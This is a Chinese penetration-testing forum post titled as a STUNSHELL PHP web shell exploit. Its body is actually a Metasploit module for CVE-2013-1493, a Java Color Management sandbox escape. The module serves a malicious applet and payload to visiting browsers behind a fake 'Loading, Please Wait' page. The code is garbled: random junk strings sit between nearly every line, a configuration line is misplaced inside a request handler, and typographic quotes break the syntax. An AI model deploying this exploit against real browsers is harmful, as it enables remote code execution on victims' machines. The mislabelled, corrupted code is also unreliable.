中国网络渗透测试联盟
标题:
STUNSHELL PHP Web Shell远程执行代码
[打印本页]
作者:
admin
时间:
2013-4-4 17:31
标题:
STUNSHELL PHP Web Shell远程执行代码
##
! }) n; [' p# b2 J
3 }8 l& H* d1 V2 N# A& X! _ }% I3 ?$ [
# This file is part of the Metasploit Framework and may be subject to
* R3 J* c$ u) r4 H
# redistribution and commercial restrictions. Please see the Metasploit
2 h$ ^5 v# I; \0 `! q
# web site for more information on licensing and terms of use.
$ i$ _' Z/ |, S# d. q+ `
#
http://metasploit.com/
' c+ a' T! P1 c$ {' A+ X
##
' L, L; X9 v: R( {# A3 a2 K
require ‘msf/core’
) _& i3 J) e- ^ a- a5 b
require ‘rex’
/ `5 K6 v. p1 [- o: q& y7 A) d! J
class Metasploit3 < Msf::Exploit::Remote
' m6 w6 t$ o. x) j" J# R% D0 m
Rank = NormalRanking
- r" t1 x8 G" l+ G' D
include Msf::Exploit::Remote::HttpServer::HTML
5 p0 Z3 b6 }$ x, p' V, i, k/ H2 m9 `2 P
include Msf::Exploit::EXE
& i4 F! H' E( \3 t
include Msf::Exploit::Remote::BrowserAutopwn
# Y/ z5 V! W" u% \
autopwn_info({ :javascript => false })
: y0 T. m0 i( j- X/ e1 G* z I
def initialize( info = {} )
( m% q& a" u* n% i( q3 h
super( update_info( info,
" ~ k( s& x0 S9 ]3 E7 O9 h
‘Name’ => ‘Java CMM Remote Code Execution’,
" ^7 L" b7 _, L% J2 G
‘Description’ => %q{
* C8 l4 A5 W4 l6 n! J. u* n
This module abuses the Color Management classes from a Java Applet to run
! \8 C: T4 x' u) c0 x8 R
arbitrary Java code outside of the sandbox as exploited in the wild in February
2 ~: Z E. |. S
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
% y( X6 j7 m! Q; K
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
2 I$ { @4 B3 X& v P
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
' y3 w3 X6 s2 @& I4 G2 n. ?$ h
warning in order to run the malicious applet.
5 `8 F" r0 d1 K( }) F
},
6 H# U* x- b2 Q t6 W* ^
‘License’ => MSF_LICENSE,
; T4 I( a; Y& f
‘Author’ =>
, l. S, r9 J+ H9 Y. @; D
'Unknown', # Vulnerability discovery and Exploit
: y- [0 ~$ T' l/ U7 H) p
'juan vazquez' # Metasploit module (just ported the published exploit)
' o7 o* Z h1 Y
],
/ k# q6 w0 [7 `4 C
‘References’ =>
7 U$ X, a2 q w2 K6 P- Z3 n
[
/ b0 f- x; _' b6 a) Q4 v- z) p
[ 'CVE', '2013-1493' ],
) k. d; Q1 B( Q7 J. y
[ 'OSVDB', '90737' ],
( z8 W( h2 Y5 M+ Z
[ 'BID', '58238' ],
5 U8 B& H+ C/ n; ?5 G( i$ j
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
2 A% T& H" D5 d
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
l; B( Y# l" G8 O# ~3 T" w* ^3 f+ D
[ 'URL', 'http://pastie.org/pastes/6581034' ]
( R6 P( P5 U- q9 d# W' O7 w
],
# C& L1 O; T4 M4 S
‘Platform’ => [ 'win', 'java' ],
; z- n1 q, B9 A; y. `
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
7 j; N* X! c, S
‘Targets’ =>
; \* g+ g2 m: X9 r
[
$ X$ d5 T+ {+ X
[ 'Generic (Java Payload)',
: c; _5 m) Z0 }! _9 J
{
" r& j, J. I) a" L! G
'Platform' => 'java',
. N0 d. V- |4 k8 m
'Arch' => ARCH_JAVA
$ n. S- s: t% s, |1 `
}
) w: X0 k8 ]$ s" G) u9 G7 u( A
],
3 l% V4 h0 w% q# u- |
[ 'Windows x86 (Native Payload)',
1 `, H ~# S' A" `1 L' C- k5 L
{
) R! w- | ?/ b" ~9 b7 {1 o
'Platform' => 'win',
; N. B& X; g5 I- d) s' ?" z. h
'Arch' => ARCH_X86
! U# q( P7 b9 E! n2 {1 U4 t# A3 o
}
5 {) O' k- S4 ]$ x. v
]
! y! Y7 O' X9 }+ [
],
# @- y* }3 C6 {- w4 H9 Q* l' [9 [1 T
‘‘DisclosureDate’ => ‘Mar 01 2013′
! u2 @3 ]: G# j: @- o
))
8 s5 `) S9 U$ Q- e! x, k' [7 S
end
5 e- |' {- j) v
def setup
" K% w& L5 s% I8 }0 G6 u- [5 X
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
( g8 |. Q! `; w6 {2 S) ?
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
) j7 n* {% H& ]7 y# S7 H' Z
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
/ C$ o2 m. r; m7 @! b1 I
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
" C2 J! {+ ` s; O. R& s9 y- N4 P
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
0 S, W0 r6 C5 ]6 |
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
7 k2 ^+ z* m7 n/ x
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
; ?# t- r- s3 Y+ ]
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
4 ~' Z7 H# v8 o
@init_class_name = rand_text_alpha(“Init”.length)
3 m1 e' E& i& W" \5 ~- r/ t
@init_class.gsub!(“Init”, @init_class_name)
& j( O/ @. ~* x: _ c8 o
super
/ Z% @! R1 M7 A" }8 t, U
end
; z: Q& u5 M) z& |0 a
def on_request_uri(cli, request)
9 y- }1 l1 Y8 c) O5 ]8 N" [
print_status(“handling request for #{request.uri}”)
$ r# z# l: h5 v! K
case request.uri
8 y! f! O8 _- n& d
when /\.jar$/i
: `* p; t0 J, k1 K0 \
jar = payload.encoded_jar
4 G8 w; g4 Y- ?
jar.add_file(“#{@init_class_name}.class”, @init_class)
, P9 ]- P- l4 w% Y& O
jar.add_file(“Leak.class”, @leak_class)
3 `9 f3 |5 Z0 L7 N) r ?: s. T
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
( _. r( I* |& S1 k; `+ n
jar.add_file(“MyColorSpace.class”, @color_space_class)
3 l% K3 ]- [3 o
DefaultTarget’ => 1,
; {; \4 B Z/ [* J
metasploit_str = rand_text_alpha(“metasploit”.length)
3 p; N$ I) o1 `& M- ]8 j' `# b
payload_str = rand_text_alpha(“payload”.length)
0 k- ^ Y3 c8 U
jar.entries.each { |entry|
G; X- S: g/ b6 W z/ i) Q
entry.name.gsub!(“metasploit”, metasploit_str)
T# t) d* t" D/ e
entry.name.gsub!(“Payload”, payload_str)
8 B _ [7 s' |; P
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
, o! |1 v. L1 Q1 ^( [9 E( y
entry.data = entry.data.gsub(“Payload”, payload_str)
7 ?8 R. ]& g8 E& Q
}
0 p' K5 I0 O% f1 w; {
jar.build_manifest
- J& S* J7 p, L2 ~
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
4 W% b2 {7 q4 T+ R0 ~$ h5 f$ t
when /\/$/
; Q- T [1 ` O" T3 }
payload = regenerate_payload(cli)
8 O( x! m P. s& G
if not payload
# j. I8 @: r* n! Y s8 j' o1 O, n1 C
print_error(“Failed to generate the payload.”)
- `0 E( N2 \! j0 z4 Q
send_not_found(cli)
C! y4 i0 M/ P* o
return
/ ?9 w$ I j9 }4 [) v: Y
end
! M L! E* r9 G8 U. B# m2 ?* }& V
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
* ~5 _% O/ y6 {+ _6 @/ ?$ O
else
1 U/ [$ ]5 s: N$ h! Y
send_redirect(cli, get_resource() + ‘/’, ”)
m. h: o9 C/ g* h4 u6 C
end
; M" s0 _, z- Q; U
end
1 Q' k2 x8 W; O- d
def generate_html
^! p! T8 t" T( ?: k, t
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
+ o* Z6 L7 X( j4 `" E8 f
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
" O0 {& S- n) N1 m' \* L2 h) c
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
6 {7 @* w& G! J r
html += %Q|</applet></body></html>|
8 Z* ^0 k- X8 K9 N, O- a% D
return html
/ [1 p% F2 e4 ~
end
. [6 g/ l! \4 M
end
F+ k% @5 U+ @1 u- m" J2 y/ X
end
" t6 Z& k: x& Y4 g! ]0 `4 v$ \
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2